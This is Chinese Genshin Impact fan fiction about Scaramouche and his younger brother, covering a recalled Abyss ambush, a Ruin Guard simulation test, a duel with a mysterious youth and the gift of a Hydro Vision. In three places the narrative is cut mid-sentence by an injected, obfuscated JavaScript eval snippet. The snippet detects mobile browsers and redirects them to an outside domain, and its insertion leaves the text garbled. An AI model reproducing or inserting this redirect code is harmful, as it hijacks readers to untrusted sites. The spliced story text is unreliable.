更何况这一习惯维持了几百年,他习惯了月见里清也在身旁的日子,也习惯了“哥哥”这个身份,也习惯了去承担这个身份所带来的责任。 他的底线就是月见里清也,博士有什么疯狂的想法他都奉陪,动月见里清也想都别想。 但有时候保护的太多,事情就往往事与愿违。 “哥哥。”月见里清也伸手去掰开散兵攥的死紧的手,另一只手拂上他的脸庞,让他看着自己,“好了,看我。我在这里,已经没事了。” 他十分清楚散兵在想什么,轻轻地拿起散兵的手碰了碰自己。 散兵的手顺着他的脖颈移到后颈处,这里有一块小小的紫色刺青,看着像一朵盛开的花。 再往下是脊椎,即使隔着衣服,月见里清也也能清楚的感知到,散兵不偏不倚的按在了那道伤疤处。 曾经那道狰狞的伤口早就愈合,被元素力侵染的皮肉却再也无法回复,留下了那道深紫色的印记。 月见里清也在第一次看见它的时候开玩笑的说就当个刺青好了,也没丑到哪里去。 散兵却笑不出来,他记得这道伤疤没愈合时的样子,也记得月见里清也最初遇害的样子。 五年前的跟随散兵下深渊的月见里清也实力已经不算差,最起码在队伍里,除了散兵之外没人能把他揍趴下,如果拿上邪眼他的赢面还能再大点。 所以他那时接到的任务是留营地里负责接应,以防有意外情况发生。 但发生这种情况的概率微乎其微,留守营地的大多数人都是随便找点事打发时间,等着各个小队完成任务回来。 至于月见里清也当时在干什么散兵无从得知,等到他带队回来后,便听到月见里清也带队出去支援返回途中遇到袭击的自己去了。 他都带队回来了,月见里清也去支援的谁? 在场所有人都没怀疑过那条消息的真假,大家都被打了个措手不及,散兵最先反应过来,吩咐道,“去把送消息来的那人控制起来,加上他接触的一干人等,一个不放!” 然后转向当时还在探索队当技术员的卡斯珀,“他从哪条路走的?” 卡斯珀迅速地从一旁拽过地图,地图上画着许多条交错的路线,他指着其中一条被打了叉的路线说,“这条线路发生坍塌堵死了,清也想要去找你只能从一条路绕过去,这是线路里最近的一条。” 发生坍塌的道路算散兵回程的必经之地,但这片区域道路交错复杂,他的路线与月见里清也支援路线完美错开。 地图上新添的墨迹早已干透,散兵问道,“队伍出发有多久了?” 卡斯珀按开随身的怀表,“不到一个小时。” 月见里清也走的那条路虽然绕远,一个小时也够走到目的地,如果到了地方见不到人也找不到打斗痕迹,他也能迅速反应过来消息有问题然后选择原路返回营地。 散兵思索片刻,决定亲自带队过去找人。 “有点巧。”而在五年后的今天,丢失了那天所有记忆的月见里清也听到这里,“我是觉得道路的坍塌可能也是人为的。” 现在能想到当时的他肯定也能想到,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896349|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经不记得五年前自己的想法了,只能顺着自己的决定反推动机。 月见里清也思索着:“或许是我清楚这次任务后你能被认命执行官,理所当然的认为道路坍塌和袭击都是冲你去的。” 他想起多年前流传在队伍里的八卦消息,苦笑道,“连八卦消息都能用上,还真是物尽其用啊。” “现在看来,当天发生的一切没有一步棋是废子。”散兵说着,想到接下来发生的事,忽然又没了动静。 月见里清也没有催他,只是伸手握住他略微有些凉的手掌,轻轻捏了两下。 散兵杀过无数魔物,也见过无数尸体,可他从没想到有一天月见里清也会变得和那些魔物一样,不,甚至比那些魔物还要惨烈。 那条路线其实也只算一条小路,潮湿的泥土气息混着一股淡淡的血腥味,越往里走,血腥味便重上一分。 他一眼便注意到了地上零散分布着的深色液体,等到身边士兵将照明设备凑近一看,才发现地上的液体不是暗红色的血迹,是一些深紫色的不明液体。 “队长,你看这些液体。”手下一名队员叫他,“是不是副队留下的标记啊?” “应该是,你们在这守着,不能让任何人进来或者出去。”散兵草草应着,寻了个理由将身边的一帮人支走。 他们不认识这是什么,但散兵很清楚。 这是月见里清也的血迹。 在法则的作用下,随着时间的推移,他们会变的与人类无二,这种变化最开始是外形,然后再是内部结构。 其中就包括血液,在转变尚未完成的那时,月见里清也的血液并不是正常生物所流淌的红色,而是充满雷元素的深紫色液体。 越往里走深紫色的血液越来越多,直到他看见了躺在“血泊”中的月见里清也。 后背被利器划开,伤口皮肉外翻,露出白森森的脊椎骨,前胸整个凹陷下去,肋骨生生折断好几根,像是有人粗暴的探去他胸膛,硬生生的将核心掏了出来。 出去这两处外,其他大大小小伤口加起来得有几十处,就像……就像有什么东西想活刨了他。 月见里清也听后指尖逐渐变得冰凉,对应位置隐隐约约传来抽痛,即使自己已经忘记了,但身体的记忆依旧存在。 任凭他再理智,他也做不到若无其事,将自己置之度外,平静地接受自己被活刨的事实。 对于贵族来说,人命算什么? 可能就如同路边的野草一般不值钱。 模糊之间他仿佛闻到了鼻尖那股挥之不去的血腥味,连他自己都无法想象,甚至一时半会都无法接受的惨状,散兵当时是怎么面对的? 房间静得只剩时钟的滴答声,月见里清也突然感到肩膀一沉,愣住片刻。 在他印象中,除了自己昏迷五年醒来那一次,散兵从没有失态过,月见里清也罕见的有些慌乱,“哥哥,其实……” “对不起。”他听到散兵这么说。 如果不去追求更强大的力量,月见里清也是不是就不会被牵扯进来? 他知道这条路上会有很多困难,他都可以面对,但不愿把月见里清也牵扯进来。 最起码在意外发生之前,散兵觉得自己可以保护好他,而现在他才发现,命运又跟他开了一个小玩笑,告诉他所做的一切都是不自量力。 是他自己亲手把月见里清也拉进泥潭,又将他推向漩涡中心。 他很少会质疑自己做的决定,但这次他却忍不住的想,自己是不是真的做错了。 月见里清也太熟悉散兵了,他正色到,“哥哥,你要是在想‘那时候真不该带上月见里清也’这种的话,我真的会生气。” “况且,”散兵没动,月见里清也继续说着,“我也没觉得你做错了什么。” “我知道你很强大,你可以把这个世界的所有不好的一面都藏在你身后,只把好的一面展示给我。可是这个世界就是这样,如果我们不强大可能就会被这个弱肉强食的世界吞噬,你追求力量没有错,也用不着对不起。” “你如果真不在乎我,就没必要浪费五年时间,冒着被发现的风险跑去稻妻,让你弱小的弟弟醒过来。”月见里清也故作轻松地说道,他很清楚这五年散兵承受了怎样的心里压力,“总之,谢谢你,哥哥。” 11. 流光的水色(其一) 几日后,惩罚系终于经过了层层手续,开始试运行。 惩罚系统的更新换代往往会经历多重调试,以第六席目前的效率来说,不出几天设备就能全部调试完毕,而在有外援的情况下,或许不出半日就能完成。 但伸出援手究竟是出于好心还是忙里偷闲,恐怕只有月见里清也本人才知道了。 ………… 巨大的机器轰鸣声回荡在隧道里。 在地面的几人堪堪避开飞逝而来的导弹,爆炸引得整个场地都在震,沙土倾泻而下,扬起的沙土遮盖住了遗迹守卫的巨大身影,只剩头上的红光让人心悸。 这支队伍只有四个人,原本是负责这次新设备测试的测试员,但就像在他们进入之前技术员和他们说的那样,新设备还在研发阶段,谁都不能保证会发生什么意外。 眼下设备不稳定导致通讯全断,外界不了解他们的状况,他们也无法申请测试结束。 新设备十分给力,模拟出来的深渊栩栩如生,新兵们总觉得前辈口中的只能回来一半都是夸张的说法,可当真正在生死关头,谁都不想当留在那里的那一半。 一个士兵突然把自己的枪架了起来,他距离遗迹守卫还有一段距离,他记得在课上老师讲过的重点,只要他能打中弱点,大家都能跑出去。 他的同伴几乎是带着惊恐的眼神看着他,并不理解为什么突然不跑了。 士兵动用自己的火元素邪眼,他不知道自己能不能打中,在恐惧和精神高度紧张下,手在不自觉的微抖,但往往这种时候出现任何偏差都是致命的。 闪着红色光芒的子弹擦着核心的边飞了过去,核心并未伤到分毫,与此同时遗迹守卫再次锁定了他。 看着再次准备发射导弹的遗迹守卫,士兵本想大喊一声跑来提醒同伴,但对死亡的恐惧和紧张下他发不出一点声音。 导弹再一次呼啸而过,但并没有带来想象中的疼痛。 或许是死亡来的太快? 士兵这样想着,睁开眼却见导弹被雷元素刀光击中,在空中炸成一片。 一少年闪至士兵面前,手持一把青色的长刀,刀身上电弧聚集。 月见里清也略微向后看了看四人无大碍,简单吩咐道,“退后。” 话音刚落,月见里清也如离弦之箭般冲向遗迹守卫,萦绕在长刀上的雷光瞬间蔓延全身,在遗迹守卫快要砸到他时飞快一侧身,让这一锤砸了个空。 紫光一现,月见里清也下一秒便出现在遗迹守卫背后,接着又飞身来到它面前,趁着遗迹守卫未能反应过来这一瞬间,果断地将长刀狠狠的插入核心,双手握住刀柄一转,把里面的回路捣了个稀碎。 遗迹守卫立马僵住不动,短暂停顿后向前倒去,月见里清也干净利落的抽刀,踩着它的头向后一蹬,稳稳落地。 而已经停止运行的遗迹守卫也因为那一脚改变了倾倒方向,向后倒去。 从他出手到结束,整个过程几乎是一瞬间。要不是士兵的身边没有表,他都想给少年卡个时间。 正当幸存的几人想对少年表示感谢的时候,看到他的样子差点来了个稍息立正,“执行官大……大人。” 绀色长发被规整的束起,经过方才的打斗没有一丝凌乱,堇色瞳眸配上一双狐狸眼,极大程度上淡化了月见里清也的严肃,“嗯?” 过了几秒他明白了,略微一点头,语气里带着一点笑意:“新来的?” 四位士兵老老实实的点头,“报告长官,是的。” “不用那么严肃,我不是你们的执行官大人,应该算是你们这次测试的……外援?”月见里清也说道。 见四人稍稍放松,月见里清也掏出怀表看了看时间,“如果没有问题,接下来你们最好开始回程,往西方向走,我安排了人接应。” 至于他自己,则要接替四人的工作,继续测试这个还处于研发的新设备。 两个受伤不严重士兵架起有伤残的同伴,回头却发现澈向着那个倒地的遗迹守卫走去。 像是察觉到他们的视线,月见里清也漫不经心地挥了挥手,让他们快走。 月见里清也来到遗迹守卫前,他没带着精密拆械工具,直接顺着他刚才弄出来的缺口把整个核心硬掰了出来。 “喂喂,一个场地里就这么几个遗迹守卫,你拆了我可修不好。”实验场地外,被迫充当临时技术员的卡斯珀看着监控设备里的画面,刚喝进去咖啡差点全喷出来。 月见里清也充耳不闻,继续手上的动作。 卡斯珀:“……” 算了,反正这是第六席自己的东西,他操什么心。 月见里清也对机械方面了解不多,为了能短时间损毁遗迹守卫只能破坏回路,残破的回路没有什么利用价值,不过好在他的目的这。 掰出来的核心也不是完整的了,月见里清也“啧”了一声心说下次出手要轻一点。 在他说话之前,耳机里传来了卡斯珀的声音,“别说话,憋回去,不会修。” 三句话说的及其流畅,一看之前就没少说。 月见里清也按着耳机回复,“没打算让你修,通讯系统和监控系统都修好了?” “嗯。”在中控室卡斯珀无精打采地靠在椅背上,幽怨道,“你一大早把我叫起来就为了这个?” 浓厚的幽怨从耳机里飘出来,月见里清也装的一本正经,“你也看见了,从枫丹引进来的监控技术确实不成熟嘛。” “那请问你们第六席是没有自己的技术员吗?我已经转文职了!”卡斯珀几乎是在咬牙切齿地说:“而且今天是休息日啊,月见里清也!” 月见里清也又开始装聋,掰出来的核心被他随手扔在地上,一枚黄亮的晶体从里面摔了出来。 卡斯珀:“……” 他认识月见里清也就是个错误,这玩意有时候就是个混蛋。 散兵大人真是辛苦了。 此时在办公室处理文件的散兵突然打了个喷嚏,注意到了一张被许多文件压在底下的申请书。 月见里清也从地上捡起那枚晶体,突然一阵恶寒。 但下一秒,本该死的不能再死的遗迹守卫忽然以一个极其刁钻的角度站了起来,一瞬间月见里清也有种看到了母兽保护幼崽的既视感。 容不得他过多细想怎么回事,攻击已经近在眼前,距离太近月见里清也只堪堪避开。随后迅速调动身体里的元素力快速后撤,拉出一段安全距离。 卡斯珀叫道:“月见里清也!” “我没事。”月见里清也在尘土飞扬里眯了眯眼,看着那个起死回生的遗迹守卫,“这什么?博士和木偶的最新研究?” 按理说回路都被捣烂的遗迹守卫应该彻底报废了才对,怎么还能活动。 卡斯珀也是第一次见这种情况,他紧紧的盯着眼前的屏幕,沉声道,“不知道,它应该进入狂暴状态了,你小心点。” 月见里清也不是没有和狂暴状态下的遗迹守卫交过手,他迅速冷静下来,化作雷光冲向遗迹守卫,却在接近的一瞬间被右边呼啸而来的攻击打断,只好临时改变进攻路线,但下一秒导弹锁定了他。 雷光构成的护盾抵消了呼啸而来的导弹,月见里清也转了转被震的发麻的手腕,暗骂了一声。 他对元素力的应用多在速度和攻击方面,并不精通防护。 重新复活的遗迹守卫有种久病卧床的病人突然回光返照的感觉,反应力、攻击力都是刚才的好几倍。 但就是这种难度翻倍的挑战,才是他今天来的目的。 “别关,我能应付。”他拦住了想暂停模拟的卡斯珀,想了想又补了一句,“也别叫人。” 凭着这几年的交情卡斯珀知道他今天来的理由没有这么简单,说不定他等的就是这一刻。 但是作为技术员他有义务保证测试员的安全,尤其是在发生未知事情的情况下。“你知道在这种情况下我无法给你提供有效信息,可能会导致你战斗可能出现意外吗?” 月见里清也丝毫不在意,“我知道。” 卡斯珀炸毛:“你知道个屁!” 话虽这么说,卡斯珀的手还是从按钮上撤了回来,紧盯着屏幕。 遗迹守卫一跃而起,月见里清也闪身避开,这是他今天进入测试后杀的第四个遗迹守卫,但却是唯一一个拆了核心后复活的。 再次避开攻击后,他一瞬间福灵心至,想到那本《自律结构及能源》里有提到类似的情况: 在机体核心被剥离时产生的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896350|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种短暂的、非自我意识的行动,起目的在于拿回核心,算是一种自我保护。 但这是在人造人技术里提到的,并非自律机关的技术。 ……除非这本书的作者已经用自律机关开始初步尝试了。 如果是这种情况变好办了,核心被剖出,缺少能量供应而失去行动力只是时间问题,想到这里的月见里清也不再执着攻击发狂的遗迹守卫,反而后撤拉开距离,逼着遗迹守卫使用跳跃、发射追踪导弹这些需要消耗巨大能量的攻击。 但或许是场地持续提供能量的缘故,遗迹守卫并没有如月见里清也的所想的那样失去行动。 场地内硝烟弥漫,烟尘阻挡了视线,只能依靠声音大体判断遗迹守卫的具体位置。 导弹爆炸的轰鸣声逐渐吸引了游荡在其他地区的遗迹守卫,卡斯珀看见逐渐靠拢过来的三个遗迹守卫时头皮一麻,准备马上停止测试,“清也,听我说,我知道你想一次性解决,但没必要。” 月见里清也静静听着烟尘里的动静,在听到导弹发射前瞄准的声音后,果断地向另一处声响跑去,速度之快几乎无法肉眼捕捉。 在被瞄准的短短瞬间内,跑到了另一个遗迹守卫面前,雷光劈向核心处,让第二个遗迹守卫的行动短暂停滞了几秒,月见里清也也不补刀,而是迅速的闪至一旁。下一秒追着他呼啸而来的导弹命中核心,直接让这个遗迹守卫报废。 这时月见里清也才不紧不慢地回了卡斯珀一句,“你不会以为我真的是来收拾烂摊子的吧?” 卡斯珀知道他不会轻易改变自己的决定,劝说无果,他只好紧盯着监视器,但是在漫漫烟尘里,根本看不清月见里清也的身影。 每个人发泄情绪的方式都不同,月见里清也的方式更是另类。 外出游玩、与朋友谈心这种舒缓的方式不适合他,他还是喜欢用战斗来发泄情绪,当然对手最好还是高等魔物,能让他脑子一起动起来,让他无暇顾及那些烦心事。 然而在提瓦特大陆上,除了深渊外,并不是遍地都是魔物,月见里清也也不是天天都生气。 偶尔遇到他心情不佳,有没有什么任务的时候,月见里清也就会去玩桌上推演兵棋,虽然不是亲自战斗,好歹一样费脑子。 这次纯属赶巧,遇到了惩罚系统测试。 场地里的可见度几乎不足十米,唯有遗迹守卫头顶核心的红光还隐约可见。月见里清也在心里默默估算另外两个遗迹守卫发射导弹的时间,照葫芦画瓢的又解决了两个遗迹守卫,身上也挂了几道彩。 现在只剩下最开始“诈尸”的那个遗迹守卫,月见里清也听见动静后,果断地向那个方向冲去。 但就在他离那处红点还有几米时,只听一声刀剑与金属碰撞的声音,而后遗迹守卫的红点闪烁几秒,暗淡下去。 月见里清也瞬间提起警戒,只见尘埃里走出一人,像是被尘埃呛到,偏头闷咳几声。 来人的身形高挑瘦弱,看着像一位少年,一件黑色斗篷将脸挡的严严实实,月见里清也看不清他的容貌,但看此人的着装并不是愚人众士兵,卡斯珀也没有提醒他有中途参与测试的人,只有偷偷潜入这一种可能。 月见里清也握紧手上的刀,以防来者不善,率先开口:“你是谁?” 卡斯珀顺着耳机听到了这一句话,目光一凛,“还有人在里面?” 月见里清也无暇顾忌卡斯珀,简略地“嗯”了一声。 少年并不介意月见里清也透露出来的敌意,声音虽有些沙哑但平和道:“我没有敌意,只是来帮个小忙。” 这个理由对月见里清也来说有点太莫名其妙了,他眉头微皱问道:“什么意思?” “字面意思。”少年笑了一下,注意到月见里清也握住青璃谭的手紧了三分,毫不怀疑自己如果不能给出一个合理的解释,下一秒这把青色长刀就会捅进自己身体里。 即便如此,少年依旧不见慌乱,用平缓的语调继续说着:“对于普通人来说,为了自保,学个三招两式也就够了;对战士而言,为了活下去,需要磨砺自己的刀锋。” “而有些人,穷尽一生所追逐的东西,往往比生命都要重。” “你属于那种?或者说,你挥刀的理由是什么?” 12. 流光的水色(其二) 拿刀的理由? 从来没有人问过他这个问题。 踏鞴砂里的每一个人都和刀有关系,他也是在潜移默化中拿起了刀,从最开始的从众,到后面为了在深渊里自保,好像每一个理由阶段性的,并不长久。 直到有人问他,“你最初拿起刀的理由是什么”。 少年不在乎自己激怒了月见里清也,“就如我之前所说,我没有敌意,我只是想要和月见里副官达成一个小小的合作。” “毕竟永远走在前面的人,他的光辉总是太过耀眼,以至于在他身边的人,都只能留下地上的影子。”少年意有所指。 被戳破痛处的月见里清也脸色一沉,耳机里出来卡斯珀的声音,但他并无心思应对,随意应付两句就把耳机关掉。 这下整个训练场地里就只剩下了月见里清也和眼前的少年。 从刚刚他就注意到了,自从少年出现后,本该落下的尘埃仿佛被定格在原地,四周依旧是灰蒙蒙一片。 月见里清也猜测少年应该是雷元素神之眼的持有者,利用静电将尘埃维持在半空里,遮挡了月见里清也的视线也遮挡了卡斯珀的视线。 既然是同种元素力,一会打起来就方便了,最起码不会发生元素反应让现场变得更复杂。 月见里清也将耳机关了,摘下来丢在一旁,露出一个浑不吝的笑,“知道吗,跟别人说话时揭短不叫谈合作,叫找揍。” 月见里清也的突然发难在少年的意料之中,他是个左撇子,出剑的角度与动作都与月见里清也之前比试的人完全相反,一时间二人还能平分秋色。 但十几招走后,少年渐渐落于下风,月见里清也渐渐跟上了对方的速度,在短兵相接的几个瞬间里,他注意到少年手腕处的勒痕,相必枷锁曾经长时间的深深嵌进他的血肉里,才会留下那么深的痕迹。 如果真的如此,这双手早就该废掉了,根本不可能在这舞刀弄枪,甚至日常生活都成问题。 “你对战的时候也会像这样在敌人面前分心吗?”少年察觉到了月见里清也刹那间的分心,手里的长刀游蛇一般抓住这个空当刺穿而来。 月见里清也架刀挡住攻击后,却放弃了寻找反击的机会,僵持着这个姿势说:“那你在战场的时候也会给你的敌人放水?” “你什么意思?”少年神色一变,问道。 月见里清也手上雷光一闪,振开了两把长刀,挑眉看向少年的手腕处,“手腕的伤痕是长时间的捆绑造成的,我不知道你经历了什么,但能留下这种程度的痕迹,这双手不废也得半残。” “还有你对战时的一些小动作,你并不是天生的左利手,而是后天刻意训练的。受伤的手腕,还有刻意训练的习惯手,这并不是你真实的实力。” 少年闻言也不恼,反而开心的笑了起来,只是沙哑的嗓音让这笑声听起来更加渗人,“还不赖。” 手中长刀消失,手里的雷元素缓缓构成一件法器。 就如月见里清也说的那般,他的手已经拿不动任何重物,刚才的那把刀还特地减轻了重量制作的,使用起来依旧很勉强。 少年换回舒适的武器,月见里清也知道不能再分心了,集中注意力盯紧少年的一举一动。 没了长刀的拖累,少年的速度更加迅速,前一秒突现在月见里清也眼前与他打近战,下一秒就有可能突现在几米之外,手里雷元素化作长鞭,狠狠地向月见里清也抽过来。 扬尘未落,右侧破空声响起,月见里清也闪身避开,却不料长鞭顺势缠上他的脚踝,将他抽倒在地。 “太慢了。”少年说着,下一秒挥出的鞭子却是丝毫不留情,“难不成你想一直被别人保护,永远做一只在庇护之下得鸟雀,活在他人阴影之下!” 月见里清也迅速原地翻滚避开攻击,咬牙道:“闭嘴!” 不是这样。 他不需要兄长的庇护,也从来不羡慕兄长拥有的一切,更不是活在他的阴影下。 他拿刀从来不是为了向散兵证明谁更强。 长鞭又在少年手里化作直刀,架住月见里清也的攻击,两人一时间僵持不下,少年不怕死一般说:“如果不是,那你现在向我挥刀的理由,是什么!” 因为自己的愤怒。 没人喜欢被别人戳痛处,月见里清也也不例外。 月见里清也不喜欢别人提他与散兵之间,那如同深壑一般的差距。 是因为差距太大让他太自卑?还是因为自己普通就被别人下意识忽略? 都不是。 “真正的理由你心里清楚。”少年仿佛能看透月见里清也的心思,一点余地都不留,势必要让他想起。 剩余的元素力凝成一把匕首就要刺下,月见里清也自然不会坐以待毙,反手摸到随身带着的扇子抵挡在眼前,匕首的刀刃不偏不倚卡在扇骨之间,他一别一甩,少年手中的匕首脱手,被月见里清也连同扇子甩飞到一旁。 青璃谭化作雷光消失,月见里清也不等少年回神便抬手就是一拳,少年结结实实挨了这一下后想要拉开距离重整旗鼓,但还不等走便被绳索禁锢在原地。 双方这么僵持着,直到月见里清也松手,绳索从少年身上脱落。 “没错,我清楚。”月见里清也说。 兄长珠玉在前,不可能超越,既如此,他便做个追寻脚步的信徒,渴望有朝一日在世人眼中能与之并肩。 “月见里”意为可以看到月亮,没有山的地方。月见里清也是仰望月亮的人,这点从四百年前到现在都未曾变过。 一个人向着自己的目标而努力,这本该是一件值得夸赞的事,但如果目标太高远、太不切实际,便会被嗤笑为痴心妄想。 月见里清也讨厌任何提及他们之间差距的话语,因为那几乎是在提醒他——不要白日做梦。 “我当然知道那是鸿沟,但我仍要跨越它。为此,我可以对自己不择手段。”月见里清也说道。 这是他与兄长的事,准确来说是他自己的问题,不应当牵扯进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896351|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他人,不属于自己的力量他并不强求。 月见里清也的信仰是纯粹的,不掺任何权利,且永远不可代替的。 少年一时间没有搭话,他像一位引导者,现在剩下的路该月见里清也自己走下去,他沉默片刻,才道:“我无愧于自身。” 水至清,澄澈也,无愧于自身。 他是受月亮牵引的潮汐,想要跨越天地鸿沟触及月亮,这是不可能的。 但月见里清也的目的是“追随”而非“成为”。 追逐月亮的意义,不在于触及它,而成为它唯一映照的海。 不求超越,只求并肩。 灰茫茫的尘埃里,一股透亮的水色自空中浮现,汇集于一点幽蓝。它静静地悬在二人面前,无声地昭示着它的存在。 良久,月见里清也抬手握住它。 他看向少年,“这就是你的目的?” “是或者不是,”少年说,“‘当人的愿望过于强烈之时,神就会向他投下视线。’与其说是愿望,不如说是发现自己心内的‘道’,这是我的目的,至于其他……不过是附加。” 月见里清也挑眉,他天生就能使用元素力,神之眼于他而言,不过是增加了另一种可驱动的力量,但正好解决了散兵最近不让他用邪眼的问题。 “你做这些的目的?” “我想合作,或者说,我想要你的一个人情。等到我需要时,我希望你能帮助我。” “就为了要我一个人情?先说好,我的人情不值钱,别对我抱有太大期待。”月见里清也说,“万一哪天我忘了可就不做数了。” 少年笑出声,否定道:“不会的,你会记得的。” 不知道是不是月见里清也的错觉,眼前的少年的身形仿佛变淡了许多,只是瞬间的功夫,他的身影就像逐渐变得稀薄的雾气。同时四周的扬尘也开始慢慢落下,已经能大致看清周围的场景模拟了。 “别忘了我们的约定。”少年话音刚落,就和扬尘一同消失,空旷的场地上只留月见里清也一人。 月见里清也眉头紧锁,来路不明的少年虽没有敌意,但这种来去自如的手段让他疑虑更重,且先走一步看一步吧。 他环顾四周,找到了被他扔在地上的耳机,十分庆幸它没有被战斗波及到。 控制室内,卡斯珀听到耳机传来动静,忙问:“月见里清也?都解决了?你还好吧?” 回答卡斯珀的只有安静,正当他准备再问的时候,耳机才传来滋滋的电流声,“我没事,把模拟关了吧,这尘土飞扬的怪呛人。” 月见里清也不知道要怎么向卡斯珀解释刚才有些复杂的情况,一低头注意到了手上拿的神之眼。 卡斯珀把试验机关停后,从监控器里看到站在场地中央的月见里清也,敏锐的注意到他的右手里拿着一个蓝色的物件。 正当他疑惑这是什么东西时,月见里清也把那个物件举起来冲着监控器完整的展示了它的样貌。 那是一个水元素神之眼。 13. 流光的水色(其三) 离开实验场地后月见里清也旁敲侧击的询问卡斯珀有没有异常情况。同他想的一样,少年的来去并没有被任何仪器记录到,仿佛是他的幻觉一样。 但暂时放在衣兜里的神之眼告诉他,这一切都是真实存在的。 虽然来去神秘,行为方式也颇为古怪,但月见里清也能感觉出来少年并无恶意,他寻了个理由将卡斯珀搪塞过去,并不打算向旁人透露少年的存在。 至于神之眼,月见里清也只说了是打着打着突然出现的,由于卡斯珀的神之眼也是类似情景出现的,一时间也不疑有他。 解救了一帮测试人员顺带完成了测试工作,整理完数据他就能立马滚蛋回家,卡斯珀现在的心情好的不能再好。 与之相比月见里清也的心情多少有点复杂了。 他在思考怎么想散兵交代这颗神之眼的来龙去脉。 看着卡斯珀开心的甚至哼起了小曲,月见里清也沉默半晌道,“我怎么觉得你有点在看乐子的意思呢。” 卡斯珀冲他摆手,“你自信点,我就是在看乐子。” 月见里清也:“……” “那我请问,那个正常人会闲的没事自己给自己加班找活干?还是用惩罚通知这种形式。”卡斯珀靠在操作台上,看着眼神放空的月见里清也。“散兵大人知道吗?” 正如之前所说,月见里清也今天来这里的原因大部分是想发泄情绪,帮助下属调试机器这种活根本不在他的工作范围内。 “应该?”月见里清也不大确定,“走之前写了个报告给他,但是他看没看到就不知道了。” “……漂亮。”卡斯珀半天憋出来一句,冲他竖起一个大拇指。 其实月见里清也也不是很纠结这件事,毕竟他先斩后奏也不是一次两次了,只不过这次他那点可怜的良心终于有点过不去了。 卡斯珀拍了拍他的肩说,“没事,你脸皮厚不要脸,问题应该不大。” “去你的。”月见里清也笑骂,拍开他的手,“你这是安慰我呢还是骂我呢。” 经过这一打岔,月见里清也那点来的快去的也快的愧疚消失的干干净净,俩人整理好东西离开控制室,没走几步便碰上个士兵。 今天卡斯珀休假,来找谁的不言而喻。 士兵冲俩人行礼,“月见里大人,执行官大人让您去一趟他那里。” 月见里清也知道自己躲不过,对着士兵一点头表示自己知道了。 “哦吼。”士兵没压声音,卡斯珀听的一清二楚,他幸灾乐祸道,“加油。” 月见里清也闻言给了他一脚,“快滚吧。” 卡斯珀回家继续享受他的假期,而月见里清也则没有那么好运了。 给贵族下的套还没收尾,为了不走漏风声,散兵这几天都是在家办公。 来到书房的时候正好赶上其他下属来汇报工作,月见里清也快速地环顾四周,观察了一下里边的氛闻,发现散兵心情不错,不像生气的样子。 没一会汇报完工作的下属离开,散兵从一旁的文件里抽出一张纸,上面龙飞凤舞地写着两三句话,像是赶时间写出来的。 “解释一下?”他问。 这不走心的申请出自谁的手自然不用多说,本来就是月见里清也今天早晨的灵光一现,他根本没时间写申请走流程。 与其说是申请,不如说是小孩子给家长留的纸条,上面写着“我去玩啦”。 月见里清也眼观鼻鼻观心,“新的惩罚系统技术不稳定,我就去……帮了一点小忙。” “小忙。”散兵皮笑肉不笑地看着他,“那看起来我这个副官找的还真称职,一大早扔下自己的本职工作,跑出去帮别人的忙。” 月见里清也心虚地咳了一声。 “帮忙的报酬呢?拿来我看看。”散兵话锋一转,问道。 月见里清也被问了个措手不及,“啊?” 帮助调试设备确实不是他本职工作,但怎么说这个设备还是第六席的公有设备,也谈不上报酬这个词。 散兵视线下移,盯着月见里清也制式大衣的右侧口袋。“真不知道我说的是什么?” 月见里清也从惩罚室出来时没刻意藏着神之眼,这种重磅消息散兵肯定也知道了。 左右他没想好怎么解释,伸手将口袋里拿到还没一会的神之眼拿了出来,放到办公桌上。 金属外壳与桌子轻碰,月见里清也在这一瞬间没来由的紧张了起来,像是学期末的学生拿着考试成绩面对家长一样。 放在以往,他今天做的事情并不出格,也没有惹出一堆烂摊子。 但今天与以往不同的是,他这次带回来了一枚属于他自己的神之眼。 介于散兵和神之间那点微妙的关系,月见里清也说自己不紧张是假的。 一时间俩人谁都没说话,就当他想说点什么打破时,散兵拿起神之眼观察片刻,突然说:“我还以为你会拿到一个雷元素的。” 月见里清也没想到他会这么说,表情有些凝固:“……?” “不都说雷元素神之眼都是那些天才或者足够独特的人拿到的吗,”散兵语气跟平常闲聊一样,“你那是什么表情?” “嗯……只是没想到你会这么说。”月见里清也努力控制住因为这句话而疯狂上扬的嘴角。 散兵没管他,继续说着,“邪眼和神之眼虽然有本质上的不同,但反正都是可以运用的力量,至于什么神之眼特殊的寓意……呵,我从来都不信那些虚无缥缈的东西。” 更何况相较于邪眼,神之眼更安全,没有副作用。 散兵抬手一抛,神之眼划出一道弧线,落回月见里清也手中。 “所以?”散兵抱臂看着他,“玩够了?可以回去工作了吗,月见里副官?” 